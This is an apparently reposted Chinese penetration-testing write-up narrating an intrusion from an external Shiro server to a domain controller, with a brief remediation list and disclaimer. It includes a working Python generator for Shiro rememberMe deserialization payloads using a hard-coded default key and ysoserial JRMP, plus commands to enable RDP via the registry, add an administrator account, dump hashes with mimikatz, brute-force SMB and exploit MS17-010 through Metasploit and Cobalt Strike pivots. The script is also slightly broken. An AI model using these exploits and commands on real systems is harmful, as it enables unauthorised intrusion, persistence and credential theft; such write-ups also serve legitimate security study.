阅读须知
文章仅供参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他!!!
前言
本文记录了我从零开始到实现搭建整个测试环境之后的过程,通过在外网到内网再到获取域控权限的全过程,分享渗透的一些思路。
内网环境变化多端,有曲折也有顺利。唯一不变的是我们要保持发现问题的心态,不断思考和发现达成目标的攻击路径。
过程
1. 权限
一次利用反序列化漏洞的经历,通过这个漏洞成功入侵了一台双网卡服务器,从而开启了内网江湖的新篇章。
在达成既定目标后,我以友好的态度开始对目标进行扫描,发现了一台使用了Shiro组件的机器,于是我决定尝试使用检测脚本来攻击。
我前往查看 DNSlog 接收的信息,并成功获取了 remember me 的密钥。
一切都如此顺利,简直天衣无缝,就像是为我安排好的剧本一样。我毫不费力地使用了反序列化脚本,成功反弹了 shell,获得了服务器权限。心中涌起了无限豪情,仿佛拥有了天下无敌的感觉。
根据以往的经验,我决定写入一个 webshell,以维持权限。过去有太多次反弹 shell 后失去了权限,而且很难再次恢复。
成功连接并上传了 webshell,取得了一次重要的开拓性胜利。
1.1 Shiro反序列化漏洞利用描述
本着公开透明的原则,我想和大家分享一下,针对 Shiro 反序列化漏洞的整改过程都有哪些。
-
更新至最新版本: 首先,确保 Shiro 库已更新至最新版本,以修复已知的漏洞。
-
配置安全的 RememberMe Cookie 密钥: 使用随机且足够复杂的密钥来加密 RememberMe Cookie,提高攻击者破解的难度。
-
限制可序列化对象: 限制可序列化对象的范围,避免将不可信任的对象序列化到 RememberMe Cookie 中。
-
禁用 RememberMe 功能: 如果不需要 RememberMe 功能,可以将其禁用,以减少潜在的安全风险。
-
监控与审计: 实施监控和审计措施,及时检测和响应可能的安全事件,保障系统的安全性。
-
安全培训与意识: 对开发人员和系统管理员进行安全培训,提高他们对安全漏洞的认识,以及如何正确地应对和修复漏洞。
通过这些措施,可以有效地降低 Shiro 反序列化漏洞对系统安全性的影响,提升系统的防护能力。
漏洞的影响范围是:只要 RememberMe 的 AES 加密密钥泄露,无论 Shiro 是什么版本,都可能导致反序列化漏洞的利用。
判断网站使用了Shiro?
Shiro 反序列化漏洞主要存在于使用 Java 开发的网站程序中。在测试一个系统时,如果发现当前系统采用 Java 开发,可以观察登录时的响应包是否包含 rememberMe 标记,或者尝试修改登录包。在 Cookie 中修改为 rememberMe=deleteMe,然后观察回包是否仍然存在 rememberMe 标记。如果存在,基本可以确定该系统采用了 Shiro 框架进行认证或权限控制。接下来,可以使用下面的方法来测试是否存在漏洞。
在服务器开启 JRMP(Java Remote Method Protocol)服务
java -cp ysoserial-master-SNAPSHOT.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections5 '执行的命令'
需要对执行的命令进行 Base64 编码,您可以使用以下命令进行编码:
echo -n "http://www.jackson-t.ca/runtime-exec-payloads.html" | base64
编码后的结果可以作为 RememberMe 生产脚本的一部分。
import uuidimport base64import subprocessfrom Crypto.Cipher import AES
def encode_rememberme(command): popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE) BS = AES.block_size pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==") iv = uuid.uuid4().bytes encryptor = AES.new(key, AES.MODE_CBC, iv) file_body = pad(popen.stdout.read()) base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body)) return base64_ciphertext
if __name__ == '__main__': payload = encode_rememberme(sys.argv[1]) print "rememberMe={0}".format(payload.decode())
备注: python Shiro.py
将 IP 和端口号替换为上述启动 ysoserialJRMP 的 IP 地址和端口号,然后将生成的 rememberMe 放入 Burp 数据包中,发送请求。这样,VPS 就能收到 shell。
2. 内网渗透
接下来,我采取日常操作,通过挂载代理进入内网,对当前网段进行扫描。发现大多数服务都是 WEB 服务,因此我决定从 WEB 应用入手,尝试获取服务器权限,并渗透其他网段。
在扫描中,我发现一个网站服务使用了 WebLogic 中间件。我利用了 CVE-2019-2725 漏洞成功获取了服务器权限。
连接上后发现具备管理员权限,并执行了 ipconfig 命令。结果显示这是一台双网卡的机器,但并不在域内。由于无法直接获取域内信息,我开始搜集其他有用的信息。
此时,脑海中涌现出无数念头,突然一丝启发闪现。没错,我可以尝试连接此电脑的远程桌面,以获取更多信息。
心里想既然是 Windows 主机,我决定查看是否开启了远程桌面。为什么要连接远程桌面呢?我认为这样可以方便传输文件并加快整个渗透流程。
我执行了 netstat -ano | find 3389
命令,查看是否开启了远程桌面服务。
等待了一段时间后发现没有反应,我推测远程桌面服务可能没有开启。于是我决定使用以下命令来开启远程桌面服务:
REG ADD HKLMSYSTEMCurrentControlSetControlTerminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
这条命令将远程桌面连接设置为允许。
接着,我使用以下命令将账户 test1 添加到管理员组:
net localgroup administrators test1 /add
这条命令将账户 test1 添加到本地管理员组中。
随后我尝试进行远程连接,但发现连接不成功。我首先怀疑是防火墙阻止了外部连接,或者存在白名单限制。考虑到进一步尝试可能会浪费时间,我决定放弃连接远程桌面的想法。内心有些苦涩,但我选择保持沉默。
事后想想,这一步实际上走了一条弯路。无论从实际利用价值还是暴露自己的角度来看,连接远程桌面都不是最佳选择。直接上线 CS 服务器会更好。
由于无法连接远程桌面,我决定直接通过 Webshell 反弹 shell 到我们的 CS 服务器,成功上线。
既然服务器已经成功上线,那么接下来我们可以进行一波信息收集,了解具体的内网情况,然后再决定下一步的行动方案。
2.1 内网信息收集
2.1.1 ipconfig /all
2.1.2 密码抓取
通过 CS 自带的命令 hashdump 成功获取了本机的哈希值,接着使用 mimikatz 工具来抓取明文密码。
明文密码获取成功后,我使用了 3proxy 中的代理和 SOCKS 功能,启动了一个 SOCKS5/HTTP 代理服务器。接着,我使用 Proxifier 来建立代理链路,以便进行进一步的操作。
我在本地设置了代理,然后使用超级弱口令检查工具对 SMB 协议进行爆破,成功获取了多台服务器的访问权限。
依次登录到使用口令获取的服务器,发现其中一台主机属于域内。我将该服务器的 shell 反弹连接到 CS 服务器,并立即开始对域内信息进行收集。
2.1.3 定位域控
我使用命令 net view
来查找域控制器的 IP 地址。
2.1.4 查看是否当前用户在域中
我使用命令 shell net user administrator /domain
来查看当前用户是否在域内。
2.1.5 查询域管理员
接着我使用命令 shell net group "domain admins /domain"
来查看域管理员。
2.1.6 扫描ms17_010
在之前的信息收集操作之后,我根据以往的经验意识到内网可能存在大量 MS17-010 这类漏洞,于是我决定对内网进行扫描。但事后反思,这一操作可能有些冒险,对方如果有安全设备可能已经触发了告警。
我使用了命令 Ladon ip/24 MS17010
进行 MS17-010 漏洞的扫描。
惊喜之余发现域控竟然存在 MS17-010 漏洞,仿佛世界对我如此公平。正义从未迟到,只能说时机刚刚好,完成目标的号角已然响起。
还等什么呢?让我们拿起手中的 Metasploit 框架,向他们展开一场精彩的攻击吧!
3. msf&cs拿下域控
3.1 msf&cs联动
将 Metasploit 框架代理到目标内网中去,这样可以直接在内网环境中使用 Metasploit 的功能来利用 MS17-010 漏洞。
3.1.1 CS配置
首先,我们通过以下命令配置 Cobalt Strike,生成一个隧道:
gitid
socks 1090
view==>proxy pivots==>复制地址:
3.1.2 msf配置
接着,我们需要配置 Metasploit 框架代理进入企业内网。
成功利用 MS17-010 的漏洞模块,获取了域控权限。这是一次重大的突破,标志着我们在渗透测试中取得了重要的进展。
总结
总的来说,渗透测试需要全面考虑外网和内网环境,不断探索目标系统的弱点并利用它们进行攻击。希望这个整体化的渗透流程思路能够为大家带来收获。
原文始发于微信公众号(网安守护):入门从搭建模拟环境开始 常规漏洞从外到内细心解说思路、方法
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论